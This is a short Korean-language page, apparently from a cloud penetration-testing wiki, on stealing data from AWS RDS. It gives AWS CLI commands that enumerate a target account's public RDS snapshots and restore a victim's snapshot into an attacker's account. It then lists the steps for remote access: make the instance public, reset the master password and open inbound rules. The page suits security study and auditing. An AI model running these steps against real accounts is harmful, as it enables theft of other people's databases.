RDS Snapshot

RDS(Relational Database Service)는 AWS에서 제공하는 관리형 데이터베이스 서버입니다. 기본적으로 데이터베이스 연결 시 별도의 자격증명을 요구하기 때문에 IAM 크리덴셜을 획득했다고 하더라도 곧바로 데이터베이스를 퍼블릭으로 전환한 뒤 연결하는 것은 어렵습니다.

하지만 스냅샷은 인스턴스 전체 데이터를 그대로 포함하기 때문에 기존의 패스워드 없이도 관리자 패스워드를 생성할 수 있어 이를 통해 공격자는 데이터베이스 자격증명 없이도 데이터 탈취가 가능합니다.

Abuse

# Account ID를 기반으로 퍼블릭 RDS 목록 열거
aws rds describe-db-snapshots --snapshot-type public --include-public --region <region> | grep <AccountID>
aws rds describe-db-cluster-snapshots --snapshot-type public --include-public --region <region> | grep <AccountID>

# 공격자 계정으로 스냅샷 복사
aws rds restore-db-instance-from-db-snapshot --db-instance-identifier clone-db --db-snapshot-identifier arn:aws:rds:us-east-1:<victim_account_id>:snapshot:pentest-snap --db-instance-class db.t3.medium --publicly-accessible --region ap-northeast-2

RDS를 로컬 AWS로 복사한 이후 원격으로 접속하기 위해 다음 세 가지 설정을 해줘야 합니다.

  1. RDS 퍼블릭 엑세스 허용

  2. 마스터 패스워드 변경

  3. 인바운드 정책 수정

모든 설정을 완료했다면 cli와 gui에서 원격 연결이 가능합니다.

Last updated

Was this helpful?